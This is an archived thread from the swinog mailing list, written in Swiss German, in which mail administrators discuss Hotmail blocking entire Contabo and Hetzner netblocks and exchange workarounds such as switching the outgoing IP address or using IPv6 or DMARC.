DtRD3CMXB90AjVxgITSGbR4ec8gmcltHsaVAZmgMdEdHQPX3T6uiZYsM40MY5jEj YBhS7GYQglTZWYvYtrGvhsL0ZDR0EWDiTYxqEgsV/5I5qdjzW6Cvk5rZN7eS+HS9 1X17H9AtUW5hi5cuVI5EmHMENtys0T0tyOdjt6rBcQ/IvPFVPeK5HSGSMStd6Wx5 jBGkyBmvvZpP0IsNdjwoUpeQMAhDmsulM3MJtfZ3lQBEy/OTDXB55UzJh2Wpp6ey k/JycZrE7Z6m6xnkjP/fr48VWDLV3gm8TMNMVepGw0pel4xOBSR43HnCagFjOU6c gBmPiuXhnBdmuwpIv5q2zTlMfCqJkgntPUyG3xHFb9D9prt7EQo4YLvsLr7CkUTh oSw81dTOXivW080T3P9IsPBokSQZWbJhBF93zt4RSoG9SQOXYZzJKTJs3EuzaAEL l0ZH9h906DQjast4x16cKDw0pSFvCvzAsGZEmawxBg== =U4IV -----END PGP SIGNATURE-----

8 8

Re: [swinog] Reject von hotmail.com
by Franco Hug 18 Mar '16

18 Mar '16

Hoi zaema, Ich beobachte das gleiche Verhalten mit contabo.de, aus dem Netz 178.238.224.0/22, evtl. gar 178.238.224.0/20 ... > DE-GIGA-HOSTING-20100728 178.238.224.0 - 178.238.239.255 > CONTABO 178.238.224.0 - 178.238.227.255 Da scheint das ganze Netz auf einer Migro$oft Blacklist gelandet zu sein. > 550 SC-001 (BAY004-MC3F37) Unfortunately, messages from 178.238.227.40 weren't sent. Please contact your > Internet service provider since part of their network is on our block list. You can also refer your > provider to http://mail.live.com/mail/troubleshooting.aspx#errors. Bei den einschlaegig bekannten blacklists ist das Netz auf jeden Fall nicht gelistet. In der Tat hatte ich selbst innerhalb der letzten 3 Monate 1x ein Spam-Mail aus diesem Netz erhalten. Eigentlich nichts Aussergewoehnliches, hin und wieder flutscht halt mal was durch bei diesen grossen Providern. Dass deswegen ein ganzes Netz gelistet wird, und somit auch Unschuldige betroffen sind, ist aergerlich. Umso mehr, weil nicht wirklich klar ist, was man genau tun muss, um das Problem zu beheben. Deshalb habe ich als quick-fix die IP-Adresse des outgoing MX angepasst. D.h. ich habe das Problem nicht geloest, sondern umschifft... Gruass, Franco ----- Original Message ----- From: "David Schweikert" <david(a)schweikert.ch> To: "Klaus Ethgen" <Klaus+swinog(a)Ethgen.de> Cc: swinog(a)lists.swinog.ch Sent: Friday, March 18, 2016 7:51:42 AM Subject: Re: [swinog] Reject von hotmail.com Hoi Klaus, On Fri, Mar 18, 2016 at 06:36:52 +0100, Klaus Ethgen wrote: > zur Zeit bekomme ich meine Mails an hotmail.com-Adressen mit der Meldung > "550 SC-001 (COL004-MC2F18) Unfortunately, messages from 5.9.7.51 > weren't +sent. Please contact your Internet service provider since part > of their network is on our block list. You can +also refer your provider > to http://mail.live.com/mail/troubleshooting.aspx#errors." abgelehnt. Mein privater Server bei Hetzner wird auch schon seit einigen Monaten von hotmail.com, live.com, etc. blockiert. Ich glaube, dass ganze Netblocks von Hetzner auf automatische Blacklisten gelandet sind. Meine Vermutung ist, dass Hetzner ein spammer-hosting Problem hat. Google hat uebrigens auf "mailop" (eine Mailing-Liste fuer Mail Hoster) gesagt, dass es bei ihnen auch passieren kann, dass ganze netblocks blockiert werden: https://www.mail-archive.com/mailop@mailop.org/msg01042.html Vielleicht koenntest du mit IPv6 versuchen. Oder auch ein Versuchswert ist DMARC. Oder die Mails ueber eine andere IP routen... Gruss David _______________________________________________ swinog mailing list swinog(a)lists.swinog.ch http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

2 1

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

2005

swinog